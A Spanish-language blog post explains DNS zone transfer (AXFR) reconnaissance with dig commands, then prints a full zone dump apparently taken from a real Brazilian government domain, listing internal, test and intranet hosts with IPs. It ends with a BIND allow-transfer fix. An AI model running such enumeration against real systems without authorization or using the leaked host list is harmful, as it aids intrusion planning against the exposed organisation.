martes, 2 de junio de 2015

DNS VULNERABLES A TRANSFERENCIA DE ZONAS O AXFR


Desde el lugar del atacante, los DNS pueden ser una "ventana" que nos permita obtener información sobre la estructura interna de una web y facilitarnos un acceso.
Existen varias técnicas para la extracción de datos mediante los DNS (Domain Name System).
Subdominios comunes y corrientes no aportan ningún dato significativo para realizar un ataque. Nuestro objetivo es encontrar aquellos que no son accesibles desde (por ejemplo ) la página web pero valen la pena descubrir, como puede ser en caso de paneles de administración

Si un servidor DNS primario no se encuentra disponible para responder las consultas que recibe, el secundario se encargará de hacerlo.
Lo interesante está en que estos servidores se transfieren exactamente lo que nosotros queremos obtener. Por tanto existe la posibilidad de hacernos pasar por un servidor secundario, solicitar una transferencia de zonas y visualizar todos los subdominios de nuestro objetivo.

Para realizar la comprobación para saber si esta mal habilitada/configurada la transferencia de zonas se utiliza la herramienta “DIG”,(nativa en basicamente todas las distribuciones de linux) de esta manera:



El resultado es similar al siguiente:
[*]Como primera medida tenemos que conoces cuales son los servidores DNS de nuestro “objetivo” y lo hacemos de la siguiente manera;

#dig dominio-objetivo.com NS

;;ANSWER SECTION
dominio-objetivo.com 600 IN NS ns01.servidordns.com
dominio-objetivo.com 600 IN NS ns02.servidordns.com

[*]Elegimos uno de los servidores DNS devueltos, por ejemplo el "ns01.servidordns.com" y realizamos la transferencia de zonas o AXFR con el siguiente comando:

#dig @ns01.servidordns.com dominio.com.ar AXFR

En el caso de estar los dns correctamente configurados, en comando anterior nos devolverá un;
dig @ns2.pdvsa.com pdvsa.com AXFR

; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> @ns2.servidordns dominio-objetivo.com AXFR
; (1 server found)
;; global options: +cmd
;; connection timed out; no servers could be reached



[**]Por ejemplo en un caso positivo (Policia Federal Brasil) nos encontraremos con lo siguiente;

(Luego de identificar los DNS);
# dig @ns3.prf.gov.br prf.gov.br AXFR

; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> @ns3.prf.gov.br prf.gov.br AXFR
; (1 server found)
;; global options: +cmd
prf.gov.br.            3600    IN    SOA    ns3.prf.gov.br. prf.gov.br. 2014081204 3600 900 1209600 3600
prf.gov.br.            3600    IN    A    189.9.13.194
prf.gov.br.            3600    IN    TXT    "v=spf1 ip4:189.9.13.192/26 -all"
prf.gov.br.            3600    IN    MX    10 mx3.prf.gov.br.
prf.gov.br.            3600    IN    NS    ns3.prf.gov.br.
prf.gov.br.            3600    IN    NS    ns4.prf.gov.br.
correio.prf.gov.br.    3600    IN    CNAME    www10.prf.gov.br.
email2.prf.gov.br.    3600    IN    A    189.9.13.215
entrega.prf.gov.br.    3600    IN    CNAME    smtp.prf.gov.br.
ftp1.prf.gov.br.    3600    IN    A    189.9.13.250
grupos.prf.gov.br.    3600    IN    A    189.9.13.209
homologacao1.prf.gov.br. 3600    IN    A    189.9.13.231
homologacao2.prf.gov.br. 3600    IN    A    189.9.13.232
homologacao3.prf.gov.br. 3600    IN    A    189.9.13.233
homologacao4.prf.gov.br. 3600    IN    A    189.9.13.234
im.prf.gov.br.            3600    IN    A    189.9.13.211
imap.prf.gov.br.    3600    IN    CNAME    www10.prf.gov.br.
intra.prf.gov.br.    3600    IN    A    201.39.251.50
mx3.prf.gov.br.            3600    IN    A    189.9.13.206
ns3.prf.gov.br.            3600    IN    A    189.9.13.205
ns4.prf.gov.br.            3600    IN    A    189.9.13.210
ntp2.prf.gov.br.    3600    IN    A    201.2.121.91
oraculo.prf.gov.br.    3600    IN    A    189.9.13.219
intra.pb.prf.gov.br.    3600    IN    CNAME    www.pb.prf.gov.br.
www.pb.prf.gov.br.    3600    IN    A    177.200.32.37
www1.pb.prf.gov.br.    3600    IN    A    177.200.32.34
www2.pb.prf.gov.br.    3600    IN    A    177.200.32.35
www3.pb.prf.gov.br.    3600    IN    A    177.200.32.36
www4.pb.prf.gov.br.    3600    IN    A    177.200.32.38
pop3.prf.gov.br.    3600    IN    CNAME    www10.prf.gov.br.
intra.rn.prf.gov.br.    3600    IN    CNAME    www.rn.prf.gov.br.
ocs.rn.prf.gov.br.    3600    IN    CNAME    www.rn.prf.gov.br.
www.rn.prf.gov.br.    3600    IN    A    179.185.23.110
www1.rn.prf.gov.br.    3600    IN    A    179.185.23.106
www2.rn.prf.gov.br.    3600    IN    A    179.185.23.107
www3.rn.prf.gov.br.    3600    IN    A    179.185.23.108
www4.rn.prf.gov.br.    3600    IN    A    179.185.23.109
smtp.prf.gov.br.    3600    IN    A    189.9.13.207
testes1.prf.gov.br.    3600    IN    A    189.9.13.235
testes2.prf.gov.br.    3600    IN    A    189.9.13.236
testes3.prf.gov.br.    3600    IN    A    189.9.13.237
testes4.prf.gov.br.    3600    IN    A    189.9.13.238
testesdiasi1.prf.gov.br. 3600    IN    A    189.9.13.240
testesdiasi2.prf.gov.br. 3600    IN    A    189.9.13.241
treinamento1.prf.gov.br. 3600    IN    A    189.9.13.221
treinamento2.prf.gov.br. 3600    IN    A    189.9.13.222
treinamento3.prf.gov.br. 3600    IN    A    189.9.13.223
treinamento4.prf.gov.br. 3600    IN    A    189.9.13.224
wfm.prf.gov.br.            3600    IN    A    177.99.176.107
www.prf.gov.br.            3600    IN    A    189.9.13.194
www1.prf.gov.br.    3600    IN    A    189.9.13.195
www10.prf.gov.br.    3600    IN    A    189.9.13.204
www170.prf.gov.br.    3600    IN    A    189.9.13.218
www2.prf.gov.br.    3600    IN    A    189.9.13.196
www3.prf.gov.br.    3600    IN    A    189.9.13.197
www4.prf.gov.br.    3600    IN    A    189.9.13.198
www5.prf.gov.br.    3600    IN    A    189.9.13.199
www6.prf.gov.br.    3600    IN    A    189.9.13.200
www7.prf.gov.br.    3600    IN    A    189.9.13.201
www8.prf.gov.br.    3600    IN    A    189.9.13.202
www9.prf.gov.br.    3600    IN    A    189.9.13.203
prf.gov.br.            3600    IN    SOA    ns3.prf.gov.br. prf.gov.br. 2014081204 3600 900 1209600 3600
;; Query time: 96 msec


SOLUCIÓN AL PROBLEMA;

Ahora nos ponemos en el lugar del administrador encargado de la seguridad (¡Que se acaba de enterar que tiene este problema!). La solución es fácil, en el caso de utilizarse el servidor BIND es necesario localizar el archivo de configuración llamado: named.conf.local. La idea es limitar la transferencia de zonas únicamente a los servidores secundarios, por tanto dentro de las zonas creadas en este archivo, especificamos las direcciones IP de los mismos con la siguiente línea:

allow-transfer { 192.168.1.102; };

Entre llaves se especifica la o las direcciones IP de los servidores secundarios. La configuración de una zona podría quedar de la siguiente manera:

Zone "nuestrositio.net" {
type master;
file “/etc/bind/db.nuestrositio.net”;
allow-transfer { 192.168.1.102; };
};

Sin más, le ponemos fin al problema.


Saludos,
@Capitan_Alfa

No hay comentarios.:

Publicar un comentario